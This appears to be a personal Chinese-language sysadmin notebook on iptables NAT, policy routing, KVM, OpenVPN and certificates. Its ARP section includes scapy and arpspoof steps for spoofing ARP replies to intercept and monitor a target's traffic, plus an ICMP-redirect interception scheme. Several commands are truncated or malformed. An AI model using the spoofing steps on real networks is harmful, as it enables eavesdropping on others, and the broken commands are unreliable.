入站數據流向:PREROUTING -> INPUT 先被PREROUTING規則鏈處理(是否修改數據包地址等),之后會進行路由選擇(判斷該數據包應該發往何處),內核將其傳給INPUT鏈進行處理,傳到用戶空間。
轉發數據流向: PREROUTING -> FORWARD -> POSTROUTING PREROUTING先處理,FORWARD后先進行路由選擇,再POSTROUTING
出站數據流向: OUTPUT -> POSTROUTING 先路由判斷,再經過OUTPUT,再路由判斷,最后POSTROUTING
與route的關系:
http://linux-ip.net/pages/diagrams.html
http://www.adminsehow.com/2011/09/iptables-packet-traverse-map/
示例:
kubernetes的10.96.0.1,先經過default route192.168.3.1出來后,經過OUTPUTT和POSTROUTING規則,DNAT為192.168.1.3,出口為192.168.3.1所在的interface,很明顯流量回不來。
自定義鏈:
創建:
iptables -t filter -N IN_WEB
設置規則:
iptables -t filter -A IN_WEB -s 192.168.1.1 -j REJECT
使用:
iptables -A INPUT -p tcp --dport 80 -j IN_WEB
重命名:
iptables -E IN_WEB WEB
查看鏈:
iptables -nvL
刪除:
刪除引用,iptables -D INPUT -p tcp --dport 80 -j IN_WEB
iptables -t filter -F IN_WEB
iptables -X IN_WEB
示例:
1.外網端口映射:
本身就是公網ip的場景:
iptables -t nat -A PREROUTING -p tcp -d 182.138.104.63 --dport 10086 -j DNAT --to-destination 127.0.0.1:80
如果機器內轉發,那么是輸出nat:
iptables -t nat -A OUTPUT -d 192.168.1.222 -p tcp -m tcp --dport 8088 -j DNAT --to-destination 192.168.1.184:80
如果公網ip連着路由器,那么在路由器上設置(未有該設備,待驗證):
iptables -A PREROUTING -t nat -i eth0 -p tcp --dport 80 -j DNAT --to 192.168.1.2:8080或者iptables -t nat -A PREROUTING -p tcp -d 192.168.1.222 --dport 8088 -j DNAT --to-destination 192.168.1.184:80
iptables -A FORWARD -p tcp -d 192.168.1.2 --dport 8080 -j ACCEPT
iptables -t nat -A POSTROUTING -d 192.168.1.184 -p tcp -m tcp --dport 80 -j MASQUERAD
抓包看進來請求:
tcpdump -i eno2 tcp port 8088
對應規則流量
iptables -nvL -t nat查看對應chain
2.有兩個網卡,訪問某個site時走指定的網卡
方法1:
iptables -t nat -I POSTROUTING -s 192.168.1.0/24 -j MASQUERADE
iptables -t nat -A POSTROUTING -s 192.168.1.222 -d 140.82.0.0/16 -p tcp -m tcp --dport 443 -j SNAT --to-source 10.31.3.222
iptables -t nat -A PREROUTING -s 140.82.0.0/16 -p tcp -m tcp --sport 443 -j DNAT --to-destination 10.31.3.222
iptables -A FORWARD -s 192.168.1.222 -d 10.31.3.222 -j ACCEPT
iptables -A FORWARD -d 10.31.3.222 -p tcp -j ACCEPT -m conntrack --ctstate NEW,ESTABLISHED,RELATED
iptables -A FORWARD -s 192.168.1.222 -p tcp -j ACCEPT -m conntrack --ctstate NEW,ESTABLISHED,RELATED
iptables -t nat -A POSTROUTING ! -d 192.168.0.0/16 -o eth1 -j SNAT --to-source 198.51.100.1
思路2:認為包先從網卡出來,
iptables -t nat -A OUTPUT -d 140.82.0.0/16 -p tcp -m tcp --dport 443 -j DNAT --to-destination 10.31.3.222:9443
-A PREROUTING -d 10.31.3.222/32 -p tcp -m tcp --dport 9443 -j DNAT --to-destination 140.82.112.4:443
方法3(大概率生效):
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -A FORWARD -i eno2 -o eno1 -j ACCEPT
iptables -A FORWARD -i eno1 -o eno2 -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -t nat -A POSTROUTING -o eno1 -j MASQUERADE
利用ip rule(也是大概率生效,目前這個最靠譜):
ip route add default via 10.31.3.1 dev eno1 tab 1
ip route show table 1
ip rule add to 192.168.16.20/32 tab 1 priority 500
ip rule show\list
ip route flush cache
測試:
解析google.com的ip得到142.250.199.78,暫不支持域名
ip route add default via 10.8.0.5 dev tun1 tab vpn_proxy
ip rule add to 142.250.199.78 tab vpn_proxy priority 501
ping 142.250.199.78
ip rule方法2,結合iptables使用:
ip rule add fwmark 3 table 3
iptables -A PREROUTING -t mangle -i eth0 -s 192.168.0.1 -192.168.0.100 -j MARK --set-mark 3
最終不行,可能是無法實現route的功能(大概率生效)
方法1能看到出去的包,但是無法收到來自github.com的包,可能卡在了路由那里
iptables -t nat -A PREROUTING -s 140.82.0.0/16 -p tcp -m tcp --sport 443 -j ACCEPT
總結:
iptables只能做到修改源ip和目的ip、port的方式,訪問某個特定的網站、某個網卡發出的請求,還得靠ip rule,而ip route適合全局的情況。
3.有多個網卡,某個網卡的ip出來的請求(監聽某個本地ip的進程發出的請求)走指定的網卡出去
ip rule的方法:
ip route add default via 10.8.0.5 dev tun1 tab vpn_proxy
ip rule add from 10.1.0.0/24 tab vpn_proxy priority 500
如果還需特殊的條件,比如從某個網卡出來,能夠訪問本網卡的ip
ip rule del to 10.1.0.0/24 table main priority 498
USG路由器如何設置兩個ip
wan2口是多余的,只用一個wan口即可達到多個ip的目的(是否上游同一個router待確認)
1.進入遠程網頁的docker container
2.進入目錄/unifi/data/sites/n047k26l
3.更改配置cat config.gateway.json
"interfaces": {
"ethernet": {
"eth0": {
"address" : [ "121.46.18.83/28",
"121.46.18.84/28" ]
"service": {
"nat": {
"rule": {
"4001": {
"description": "IP1",
"destination": {
"address": "121.46.18.83",
"port": "80,443"
},
"inbound-interface": "eth0",
"inside-address": {
"address": "192.168.1.3"
},
"protocol": "tcp",
"type": "destination"
重置配置:
set-default
或者點forget
usg controller和usg gateway
controller所在container控制頁面
unifi controller服務:
開放端口8443 8080
docker支持多架構:
docker create
-v /data/unifi:/config
docker start unifi-controller
-e UNIFI_SSH_PORT=8422 -e UNIFI_SSH_PASSWD=apulistech 沒起效
其他安裝方式:
apt添加源
deb包
window下的exe
設置inform URL
Settings > Controller > Controller Settings and set the Controller Hostname/IP
然后點擊enable
設置固定ip
綁定mac地址和ip后
如何生效:
dhclient
或ifconfig eno1 down
ifconfig eno1 up
問題:
1.一直provisioning
注意防火牆不要屏蔽了controller所在的ip
firewall group不能用10.16.0.0-10.16.255.255這種ip段的寫法,雖然頁面可以提交,但實際上會導致error。新版本可以用10.16.0.0/16這種寫法
虛擬機:
檢測是否支持:
apt install cpu-checker
kvm-ok
安裝軟件:
apt install -y qemu-system-x86 qemu-kvm qemu libvirt-bin virt-manager virtinst bridge-utils cpu-checker virt-viewer
qemu-efi-aarch64
檢測是否啟動:
systemctl status libvirtd
systemctl enable
配置界面連接ssh key:
將公鑰放到所在的服務器上.ssh/authorized_keys
命令行使用:
適合window版本,安裝不了virt-manager
1.配置網絡:
a.橋接網絡
方法一:
vim /etc/netplan/00-installer-config.yaml
network:
version: 2
renderer: networkd
ethernets:
enp1s0:
dhcp4: no
bridges:
br0:
dhcp4: yes
addresses: [10.31.3.123/24]
gateway4: 10.31.3.1
nameservers:
addresses: [8.8.8.8]
interfaces:
- enp1s0
netplan apply
systemctl restart NetworkManager.service
systemctl restart network-manager
brctl show
iptables -t nat -A POSTROUTING -o br0 -j MASQUERADE
iptables -A FORWARD -i br0 -o virbr0 -m state
iptables -A FORWARD -i virbr0 -o br0 -j ACCEPT
iptables -I FORWARD 1 -i br0 -o br0 -j ACCEPT
如何恢復:
ip link set enp1s0 up
ip link set br0 down
brctl delbr br0
方法二:
nmcli conn add type bridge con-name br0 ifname br0
nmcli conn add type ethernet slave-type bridge con-name bridge-br0 ifname enp1s0 master br0
nmcli conn show
nmcli conn up br0
nmcli conn down eno1
nmcli conn show
nmcli conn del 4f5cde98-d834-44f8-b1bb-e68e35e243f2
vim host-bridge.xml
<network>
<name>host-bridge</name>
<forward mode="bridge"/>
<bridge name="br0"/>
</network>
virsh net-define host-bridge.xml
virsh net-start host-bridge
virsh net-autostart host-bridge
b. NAT
c. 使用macvtap driver將NIC直接連到宿主機物理接口上
VEPA:all packets from the guests are sent to the external switch.
bridge:Packets whose destination is on the same host machine as their source guest are directly delivered to the target macvtap device
private:
passthrough:
virsh edit xxx
編輯vm的xml文件
<devices>
...
<interface type='direct'>
<source dev='eth0' mode='bridge'/>
</interface>
</devices>
2.啟動虛擬系統:
wget https://mirrors.kernel.org/ubuntu-releases/18.04/ubuntu-18.04.5-live-server-amd64.iso
virt-install
virt-install
3.常用命令:
virsh list
virsh shutdown/start/suspend/reboot/reset/undefine/destroy/console/edit xxx
virt-viewer ukvm1404
存儲pool相關:
virsh pool-list
virsh pool-define-as kvmpool
virsh pool-list
virsh pool-start kvmpool
virsh pool-autostart kvmpool
加盤
qemu-img create -f raw ubuntu-vm-disk-100G-1 100G
virsh attach-disk ubuntu-box1 /var/lib/libvirt/images/ubuntu-box1-vm-disk1-5G vdb
virsh domblklist ubuntu18.04-czl
或者直接編輯xml文件
移除通過virsh detach-disk ubuntu18.04-czl vdb
擴容
virsh domblklist apulis-ubuntu18.04-clone3
virsh shutdown apulis-ubuntu18.04-clone3
qemu-img info /var/lib/libvirt/images/rhel8.qcow2
qemu-img resize /mnt/fastdisk2/kvms/vm1-clone-2.qcow2 +100G
virsh start apulis-ubuntu18.04-clone3
直接不停機可以用
virsh blockresize vm18041-clone2 /mnt/bigdisk3/vm18041-clone2.qcow2 280G
然后進vm進行擴大分區
apt -y install cloud-guest-utils
growpart /dev/vda 2
resize2fs /dev/vda2
lsblk
內存和cpu:
編輯命令是可以的
virsh edit xxx
圖形化界面操作
命令行操作:
virsh dominfo CentOS6_1| grep mem
virsh setmaxmem 2
virsh setmaxmem 2
setmem
setvcpus
網絡相關:
virsh net-list
virsh net-info default
virsh net-dhcp-leases default
virsh net-destroy host-bridge
virsh net-undefine host-bridge
virsh domiflist 查看vm使用的網絡
virsh domifaddr 查看vm的ip
virsh attach-interface
virsh detach-interface
virsh dumpxml VM_NAME | grep "mac address" | awk -F\' '{ print $2}'
arp -an | grep 52:54:00:ce:8a:c4 # 需要通信過或者稍等一段時間后,才能獲取到
克隆相關:
virt-clone --original {Domain-Vm-Name-Here} --name {New-Domain-Vm-Name-Here} --file {/var/lib/libvirt/images/File.Name.here}
快照:
virsh snapshot-create-as --domain {VM-NAME} --name "{SNAPSHOT-NAME}" --live
virsh snapshot-list --domain openbsd
virsh snapshot-info --domain freebsd --snapshotname 5Sep2016_S1
virsh snapshot-revert --domain freebsd --snapshotname 5Sep2016_S1 --running
virsh snapshot-delete --domain freebsd --snapshotname 5Sep2016_S2
virt-manager界面使用:
只能linux系統
hyper-V也可以安裝linux系統
apt-get install virt-manager ssh-askpass-gnome
可以連接遠程,配置當前用戶的ssh密鑰即可。
arp協議:
arp -s 192.168.1.1 00:b1:b2:b3:b4:b5
arp -a 查看所有的規則
arp -a 192.168.1.179查看指定ip的信息
ip neigh也可以查看系統arp表
arp -d ip 刪除
清除緩存:
arp -n|awk '/^[1-9]/{system("arp -d "$1)}' 所有的
ip neigh flush dev eth0 某一個接口的
原理:
OSI模型把網絡工作分為七層,IP地址在OSI模型的第三層,MAC地址在第二層,彼此不直接打交道。
在通過以太網發送IP數據包時,需要先封裝第三層(32位IP地址)、第二層(48位MAC地址)的報頭,但由於發送時只知道目標IP地址,不知道其MAC地址,又不能跨第二、三層,
所以需要使用地址解析協議。使用地址解析協議,可根據網絡層IP數據包包頭中的IP地址信息解析出目標硬件地址(MAC地址)信息,以保證通信的順利進行。
流程:
第1步:根據主機A上的路由表內容,IP確定用於訪問主機B的轉發IP地址是192.168.1.2。然后A主機在自己的本地ARP緩存中檢查主機B的匹配MAC地址。
第2步:如果主機A在ARP緩存中沒有找到映射,它將詢問192.168.1.2的硬件地址,從而將ARP請求幀廣播到本地網絡上的所有主機。源主機A的IP地址和MAC地址都包括在ARP請求中。本地網絡上的每台主機都接收到ARP請求並且檢查是否與自己的IP地址匹配。如果主機發現請求的IP地址與自己的IP地址不匹配,它將丟棄ARP請求。
第3步:主機B確定ARP請求中的IP地址與自己的IP地址匹配,則將主機A的IP地址和MAC地址映射添加到本地ARP緩存中。
第4步:主機B將包含其MAC地址的ARP回復消息直接發送回主機A。
第5步:當主機A收到從主機B發來的ARP回復消息時,會用主機B的IP和MAC地址映射更新ARP緩存。本機緩存是有生存期的,生存期結束后,將再次重復上面的過程。主機B的MAC地址一旦確定,主機A就能向主機B發送IP通信了。
免費ARP:
與標准ARP的區別就是免費ARP分組的目的IP地址字段封裝的是自己的IP地址,即向所在網絡請求自己的MAC地址。
作用:
一個主機可以通過它來確定另一個主機是否設置了相同的 IP地址。
更新其他主機高速緩存中舊的硬件地址信息。
網關利用免費ARP防止ARP攻擊,防止或緩解ARP攻擊的效果。
利用免費ARP進行ARP攻擊
代理ARP
兩台主機A和B處於同一網段但不同的廣播段(不在同一物理網絡上)時,主機A發送ARP請求主機B的MAC地址時,因為路由器不轉發廣播包的原因,ARP請求只能到達路由器。
如果路由器啟用了代理ARP功能,並知道主機B屬於它連接的網絡,那么路由器就用自己接口的MAC地址代替主機B的MAC地址來對主機A進行ARP應答。
主機A接收ARP應答,但並不知道代理ARP的存在。
k8s ha應用:
ha會有一個vip,vip需要與多台master中的其中一個的網絡接口mac地址綁定,其中就用到arp協議
master和worker都會通過arp請求得到響應,獲取到vip和對應的mac地址。因此推測vip容器在響應局域網內的arp請求,發送ARP應答消息,將vip答應為對應的mac地址。
每個master的eno接口都會增加一個ipv6的ip,由vip容器完成這個操作。vip容器會出現由於ipv6地址找不到而啟動異常的情況(arp包的源ip?),進而影響arp服務,導致vip ping不通。
這個時候需要重啟eno接口。
初步估計這個ipv6用於多master的多個vip容器之間的通信,以選舉主master、確定vip位於哪個mac地址上
多個組件之間通信可能依賴於k8s,ipv6地址用於本節點的vip容器啟動,可能是准備arp包發送。
如何發送arp包:
python可以用scapy
scapy
pkt = Ether()/ARP()
pkt.show()
pkt[Ether].dst="ff:ff:ff:ff:ff:ff"
pkt[ARP].pdst="192.168.66.21"
pkt[ARP].psrc="192.168.66.198"
sendp(pkt)
關鍵:
參數主要分Ether和ARP,Ether的dst包發送的地址(全網廣播為ff:ff:ff:ff:ff:ff),src源地址不變
ARP的pdst改為目標機器ip,如0.0.0.0或192.168.1.3具體的ip
ARP的psrc和hwsrc根據需求修改,這樣目標機器就會更新這個ip和mac條目,達到欺騙的目的
瀏覽監控:
arp廣播,發送網關ip+監控機器mac地址的欺騙包給目標機器。這樣目標機器會以監控機器作為網關,往這里發送請求。
發送目標機器ip+監控機器mac地址的欺騙包給網關,這樣網關要往目標機器發送請求時,發送給這里。
開啟監控機器的包轉發,echo 1 > /proc/sys/net/ipv4/ip_forward
所謂轉發即當主機擁有多於一塊的網卡時,其中一塊收到數據包,根據數據包的目的ip地址將數據包發往本機另一塊網卡,該網卡根據路由表繼續發送數據包。這通常是路由器所要實現的功能。
監控機器擁有正確的目標機器ip和網關ip的mac地址。
跨網段如何廣播:
不同網段的主機通信時,主機會封裝網關(通常是路由器)的mac地址,然后主機將數據發送給路由器,后續路由進行路由轉發,通過arp解析目標地址的mac地址,然后將數據包送達目的地。
192.168.3.2 192.168.3.1 192.168.4.2 192.168.4.1
1、主機A有數據發往主機B,數據封裝IP之后發現沒有主機B的mac地址;然后查詢ARP,ARP回應:“我在192.168.3.0/24網段,目標地址在192.168.4.0/24,不屬於同一網段,需要使用默認網關”;ARP發現默認網關是192.168.3.2,但是沒有網關mac地址,需要先進行查詢;
2、主機將數據包先放到緩存中,然后發送ARP查詢報文:封裝自己的mac地址為源mac,目標mac地址寫全F的廣播地址,請求網關192.168.3.2的mac地址。然后以廣播方式發送出去;
3、路由器收到廣播數據包,首先將原192.168.3.1添加到自己的mac地址表中,對應mac地址為0800.0222.2222。路由發現是請求自己的mac地址,然后路由回復一個ARP應答:封裝自己的IP地址為源IP自己的mac地址為源mac,主機A的IP為目的IP主機A的mac為目的mac,發送一個單播應答“我是192.168.3.2.我的mac地址為0800.0333.2222”;
4、主機收到應答后,將網關mac地址對應192.168.4.2(跨網關通信,其他網段IP地址的mac地址均為網關mac),然后將緩存中的數據包,封裝網關mac地址進行發送;
5、路由收到數據包,檢查目的IP地址,發現不是給自己的,決定要進行路由,然后查詢路由表,需要發往192.168.4.0網段中的192.168.4.2地址。路由准備從相應接口上發出去,然后查詢mac地址表,發現沒有主機B的映射。路由器發送arp請求查詢主機B的mac地址(原理同2、3步,主機B收到請求后首先會添加網關的mac地址,然后單播回復arp請求);
6、路由器收到主機B的mac地址后,將其添加到路由mac地址表中,然后將緩存中的數據2層幀頭去掉,封裝自己的mac地址為源mac,主機B的mac地址為目的mac(源和目的IP地址不變),加上二層幀頭及校驗,發送給主機B;
7、主機B收到數據之后,進行處理,發送過程結束;
8、如果主機B收到數據后進行回復,主機B會進行地址判斷,不在同一網段,然后決定將數據發送給網關,主機B查詢mac地址表獲得網關mac地址,將數據封裝后發送(arp地址解析的過程不再需要了,mac地址表條目有一定的有效時間),網關收到數據后直接查詢mac表,將二層幀mac地址更改為A的mac發送出去。如此,主機A收到主機B的回復;
路由器隔離廣播。每一個網段都是獨立的廣播域。
沒找到不同網段的機器通過router設置ip route,而不是雙網卡,相互能ping通的場景,暫未確認這個。
在目標機器上arp -a的確沒看到廣播的ip,而同一網段則很快看到。
廣播的ip必須是同網段的,否則雖然發出去了,但還是arp -a看不到
ICMP重定向:
跨網段必須用到ICMP重定向。
A 10.10.100.1 00-E0-4C-11-11-11
B 10.10.100.2 00-E0-4C-22-22-22
C 10.10.200.3 00-E0-4C-33-33-33
首先攻擊方C修改IP包的生存時間,將其延長,以便做充足的廣播。然后和上面提到的一樣,尋找主機B的漏洞,攻擊此漏洞,使主機B暫時無法工作。
此后,攻擊方C發送IP地址為B的IP地址10.10.100.2,MAC地址為C的MAC地址00-E0-4C-33-33-33的ARP應答給A。A接收到應答后,更新其ARP緩存。這樣,在主機A上B的IP地址就對應C的MAC地址。
但是,A在發數據包給B時,仍然會在局域網內尋找10.10.100.2的MAC地址,不會把包發給路由器,這時就需要進行ICMP重定向,告訴主機A到10.10.100.2的最短路徑不是局域網,而是路由,請主機重定向路由路徑,
把所有到10.10.100.2的包發給路由器。主機A在接受到這個合理的ICMP重定向后,修改自己的路由路徑,把對10.10.100.2的數據包都發給路由器。這樣攻擊方C就能得到來自內部網段的數據包。
ubuntu下相關工具:
arping
arping 192.168.131.155
arping -c 3 192.。168.0.106
arping -S 10.31.3.251 10.31.3.110
dsniff
arpspoof -i enp98s0f0 -t 192.168.66.21 192.168.66.197
oepnvpn:
安裝:
下載easy-rsa.zip並解壓
wget https://github.com/OpenVPN/easy-rsa/releases/download/v3.0.8/EasyRSA-3.0.8.tgz
tar zxf EasyRSA-3.0.8.tgz
cd EasyRSA-3.0.8/
配置vars文件
./easyrsa init-pki
生成根證書和密鑰ca.crt ca.key
./easyrsa build-ca nopass
生成服務器證書和密鑰
./easyrsa gen-req server nopass
./easyrsa sign server server
生成客戶端證書和密鑰
./easyrsa gen-req client nopass
./easyrsa sign client client
生成密鑰交換文件
./easyrsa gen-dh
安裝openvpn
apt install openvpn
cd /etc/openvpn
mkdir keys
cp /root/EasyRSA-3.0.8/pki/dh.pem keys/dh2048.pem
cp /root/EasyRSA-3.0.8/pki/private/server.key keys/
cp /root/EasyRSA-3.0.8/pki/issued/server.crt keys/
cp /root/EasyRSA-3.0.8/pki/ca.crt keys/
配置openvpn
cp /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz ./
gzip -d server.conf.gz
編輯server.conf修改證書路徑,配置server網段10.1.0.0,注意最好絕對路徑,否則啟動要在對應路徑下才行
增加前綴/etc/openvpn/keys/
push "route 10.1.0.0 255.255.255.0" 代理撥號
push "route 192.168.1.0 255.255.255.0"用於訪問這個網段,如果全局代理了,這個可以不設
修改cipher配置
放開注釋duplicate-cn,不然多個使用一樣的證書的client會獲取相同的ip
啟動路由轉發
echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.conf
sysctl -p
建立ta.key拒絕服務攻擊證書文件
openvpn
cp ta.key ./keys/
啟動openvpn服務
openvpn
ss -nutl |grep 1194
注意:
openvpn的server默認的出口要看default route設置,vpn本身並沒有相關配置
開機啟動:
echo "/usr/local/openvpn/sbin/openvpn --daemon --config /etc/openvpn/server.conf > /dev/null 2>&1 &" >> /etc/rc.local
下載客戶端:
https://openvpn.net/community-downloads/
ubuntu下:
wget https://swupdate.openvpn.org/community/releases/openvpn-2.5.0.tar.gz
tar zxf openvpn-2.5.0.tar.gz
cd openvpn-2.5.0
make && make install
或者
apt install openvpn
配置客戶端文件:
cp /usr/share/doc/openvpn/examples/sample-config-files/client.conf .
修改cipher,remote ip配置,注意最好絕對路徑,否則啟動要在對應路徑下才行
mkdir client
mv client.conf client
復制client證書
mkdir client/
cp /root/EasyRSA-3.0.8/pki/ca.crt client/
cp /root/EasyRSA-3.0.8/pki/issued/client.crt client/
cp /root/EasyRSA-3.0.8/pki/private/client.key client/
cp ta.key ./client/
tar zcf client.tar client
拷貝到config目錄下,啟動openvpn,修改配置路徑即可,會啟動虛擬網卡,由openvpn分配虛擬ip,這樣即可通過局域網網關訪問局域網ip
ubuntu下:
openvpn
查看本地ifconfig是否分配了ip
如何訪問沒有設置網關的局域網機器(客戶端連接后默認沒有網關):
配置iptables的nat功能
iptables -P FORWARD ACCEPT
iptables -I INPUT -p tcp
iptables -t nat -A POSTROUTING -s 10.1.0.0/24 -j MASQUERADE轉化為局域網同一個網段,相互訪問不需要網關
如何路由網絡所有traffic
1.在server.conf配置push "redirect-gateway def1 bypass-dhcp",重啟服務。
如果是dns,需要加上配置push "dhcp-option DNS 10.8.0.1"
2.服務器配置
iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE
openvpn的server默認的出口要看default route設置,vpn本身並沒有相關配置
或者client端配置:
route-nopull
route 0.0.0.0 0.0.0.0
route 外網ip 255.255.255.255 net_gateway
原理:
重啟client后,客戶端的route添加了幾條,比如0.0.0.0/1 via 10.8.0.5 dev tun1,改變了默認路由。
0.0.0.0/1 via 10.1.0.5 dev tun0
10.1.0.1 via 10.1.0.5 dev tun0
10.1.0.5 dev tun0 proto kernel scope link src 10.1.0.6
128.0.0.0/1 via 10.1.0.5 dev tun0
58.250.250.126 via 192.168.1.1 dev ens3
dns好像沒問題,可以正常解析,但不是通過10.8.0.1
條件路由:
client.conf添加
route-nopull
route 202.120.127.0 255.255.255.0 vpn_gateway
重啟client后,客戶端會添加一條ip route,所有該網段范圍的ip都走該路由
注意:這樣的情況下不會添加route 10.8.0.1,訪問不了代理網關
瀏覽器局部代理和全局代理思路:
局部代理(被牆ip)可以通過ip route(但是ip是動態變化的,暫時方法是動態修改ip rule)
全局代理可以通過瀏覽器本身的socket代理設置,原理是一個socket proxy有自己的固定監聽ip,從這個ip出來可以配置走vpn。配置瀏覽器使用這個socket proxy即可。
機器的全局代理就是ip default route了
二級代理:
場景:
一台機器只有國際線路A,另一台同局域網的機器只有公網訪問B,一台普通的機器C。
方案:
那么先在A搭建vpn,在局域網內的B部署客戶端。A可以不設置全局代理,B客戶端使用默認代理,只能訪問A網關。
然后在B搭建vpn,在C通過公網部署客戶端。
關鍵點:
將B server的流量導向A server
iptables -t nat -A PREROUTING -s 10.1.0.0/24 -j DNAT
iptables -t nat -A POSTROUTING -s 10.1.0.0/24 -j MASQUERADE
正確的做法:
通過ip rule的方法
C可以配置條件路由或者全局路由都行,這樣C就能訪問google.com。
方案二:
在B搭建一個http proxy,C客戶端通過proxy連接A
問題:
1.C在全局代理下,域名解析REFUSED,因為遞歸查詢了。C所有的流量都通過了vpn
解決:
將
iptables -t nat -A PREROUTING -s 10.1.0.0/24 -j DNAT
替換為
iptables -t nat -A PREROUTING -s 10.1.0.0/24 -p tcp !
iptables -t nat -A PREROUTING -s 10.1.0.0/24 -p udp !
iptables -t nat -A PREROUTING -s 10.1.0.0/24 -p icmp -j DNAT
解決2:
A通過bind搭建一個dns服務器,並允許遞歸查詢,B將C的所有流量轉到A,這樣C即可走國際代理查詢域名
2.wget會存在證書問題,apt update、curl也是。首頁index.html沒問題
二級代理的問題,一級代理測試沒有這個錯誤
深入調試發現,是B通過iptables轉發導致的問題,通過ip route設置default route實現全局代理流向A則沒問題
本地單節點測試:
iptables -t nat -A OUTPUT -p tcp
wget某個網站,發現會超時失敗,就算是本地的接口192.168.1.1也會失敗
問題點:
DNAT將請求地址改了,變為請求openvpn或者路由器的服務了curl https://192.168.1.1:443/,證書肯定有問題
硬盤相關:
查看硬盤:
lsblk
創建分區:
fdisk /dev/sdb然后輸入n
刪除分區
fdisk /dev/sdb然后輸入d
格式化:
mkfs.ext4 /dev/sdb1
mkfs -t ext4 /dev/sdb1
terminal顯示圖片和視頻:
apt install gpicview 更輕量,視頻暫不支持
apt install gwenview 功能更強大,直接可以打開視頻
xdg-open
apt install xdg-utils
打開視頻需要額外安裝支持,如firefox,chrome
samba服務:
安裝:
apt install samba samba-common
完全卸載:
apt-get autoremove samba samba-common
apt-get purge samba samba-common
配置:
目錄:
[share]
path = /mnt/storage1/samba
browsable =yes
writable = no
guest ok = yes
read only = yes
如何使用:
ipmi使用:
填寫\share\xxx.filename
掛載路徑到ubuntu:
apt install cifs-utils
mount -t cifs //192.168.1.85/public /samba -o username=xxx
證書:
CA(Certification Authority)證書,指的是權威機構給我們頒發的證書。
密鑰就是用來加解密用的文件或者字符串。密鑰在非對稱加密的領域里,指的是私鑰和公鑰,他們總是成對出現,其主要作用是加密和解密。常用的加密強度是2048bit。
RSA即非對稱加密算法。非對稱加密有兩個不一樣的密碼,一個叫私鑰,另一個叫公鑰,用其中一個加密的數據只能用另一個密碼解開,用自己的都解不了,也就是說用公鑰加密的數據只能由私鑰解開。
x.509: 定義了證書結構和認證協議標准;(基於公鑰和數字簽名)
證書的編碼格式
PEM(Privacy Enhanced Mail),通常用於數字證書認證機構(Certificate Authorities,CA),擴展名為.pem, .crt, .cer, 和 .key。內容為Base64編碼的ASCII碼文件,有類似"-----BEGIN CERTIFICATE-----" 和 "-----END CERTIFICATE-----"的頭尾標記。服務器認證證書,中級認證證書和私鑰都可以儲存為PEM格式(認證證書其實就是公鑰)。Apache和nginx等類似的服務器使用PEM格式證書。
DER(Distinguished Encoding Rules),與PEM不同之處在於其使用二進制而不是Base64編碼的ASCII。擴展名為.der,但也經常使用.cer用作擴展名,所有類型的認證證書和私鑰都可以存儲為DER格式。Java使其典型使用平台
證書簽名請求CSR
CSR(Certificate Signing Request),它是向CA機構申請數字證書時使用的請求文件。在生成請求文件前,我們需要准備一對對稱密鑰。私鑰信息自己保存,請求中會附上公鑰信息以及國家,城市,域名,Email等信息,CSR中還會附上簽名信息。當我們准備好CSR文件后就可以提交給CA機構,等待他們給我們簽名,簽好名后我們會收到crt文件,即證書。
注意:CSR並不是證書。而是向權威證書頒發機構獲得簽名證書的申請。
把CSR交給權威證書頒發機構,權威證書頒發機構對此進行簽名,完成。保留好CSR,當權威證書頒發機構頒發的證書過期的時候,你還可以用同樣的CSR來申請新的證書,key保持不變.
數字證書和公鑰
數字證書則是由證書認證機構(CA)對證書申請者真實身份驗證之后,用CA的根證書對申請人的一些基本信息以及申請人的公鑰進行簽名(相當於加蓋發證書機 構的公章)后形成的一個數字文件。實際上,數字證書就是經過CA認證過的公鑰,除了公鑰,還有其他的信息,比如Email,國家,城市,域名等。
證書包含以下信息:申請者公鑰、申請者的組織信息和個人信息、簽發機構CA的信息、有效時間、證書序列號等信息的明文,同時包含一個簽名;
簽名的產生算法:首先,使用散列函數計算公開的明文信息的信息摘要,然后,采用CA的私鑰對信息摘要進行加密,密文即簽名;
解開:
openssl x509 -in ./apiserver-kubelet-client.crt -text -noout
流程:
1.首先創建私有的CA根證書
生成CA私鑰(.key)-->生成CA證書請求(.csr)-->自簽名得到根證書(.crt)(CA給自已頒發的證書)。
2.拿到CA證書crt文件后,即可用於簽發用戶簽名請求,頒發數字證書給用戶(用戶申請流程)
生成私鑰(.key)-->生成證書請求(.csr)-->用CA根證書簽名得到證書(.crt)
用戶(服務端)得到證書后,可以用於客戶端的ssl通信
知名機構的CA證書和自己創建CA證書的區別:
所有的操作系統(和某些應用程序)內置了一個列表,默認信任哪些證書機構頒發的證書
自己創建的CA證書簽發的證書,別人是不信的。
客戶端驗證數字證書的信任流程:
1.客戶端 C 向服務器 S 發出請求時,S 返回證書文件;
2.客戶端 C 讀取證書中的相關的明文信息,采用相同的散列函數計算得到信息摘要,然后,利用對應CA的公鑰(操作系統內置)解密簽名數據,對比證書的信息摘要,如果一致,則可以確認證書的合法性,即公鑰合法;
3.客戶端然后驗證證書相關的域名信息、有效時間等信息;
4.客戶端會內置信任CA的證書信息(包含公鑰),如果CA不被信任,則找不到對應 CA的證書,證書也會被判定非法。
https通信流程:
1.客戶端和服務器端經tcp三次握手,建立初步連接。
2.客戶端發送http報文請求並協商使用哪種加密算法。
3.服務端響應報文並把自身的數字簽名發給客戶端。
4.客服端下載CA的公鑰,驗證其數字證書的擁有者是否是服務器端(這個過程可以得到服務器端的公鑰)。(一般是客戶端驗證服務端的身份,服務端不用驗證客戶端的身份。)
5.如果驗證通過,客戶端生成一個隨機對稱的字符串,用該隨機字符串加密要發送的URL鏈接申請,再用服務器端的公鑰加密該隨機字符串
6.客戶端把加密的隨機字符串和加密的URL鏈接一起發送到服務器。
7.服務器端使用自身的私鑰解密,獲得一個對稱的隨機字符串,再用該對稱隨機字符串解密經加密的URL鏈接,獲得URL鏈接申請。
8.服務器端根據獲得的URL鏈接取得該鏈接的網頁內容,並用客戶端發來的對稱密鑰把該網頁內容加密后發給客戶端。
9.客戶端收到加密的網頁內容,用自身的對稱密鑰解密,就能獲得網頁的內容了。
10.TCP四次揮手,通信結束。
非對稱加密:
用公鑰加密,只能用私鑰解開。
openssl工具:
簽發CA證書
openssl genrsa -out ca.key 2048
openssl req -new -key ca.key -out ca.csr
openssl x509 -req -days 365 -in ca.csr -signkey ca.key -out ca.crt
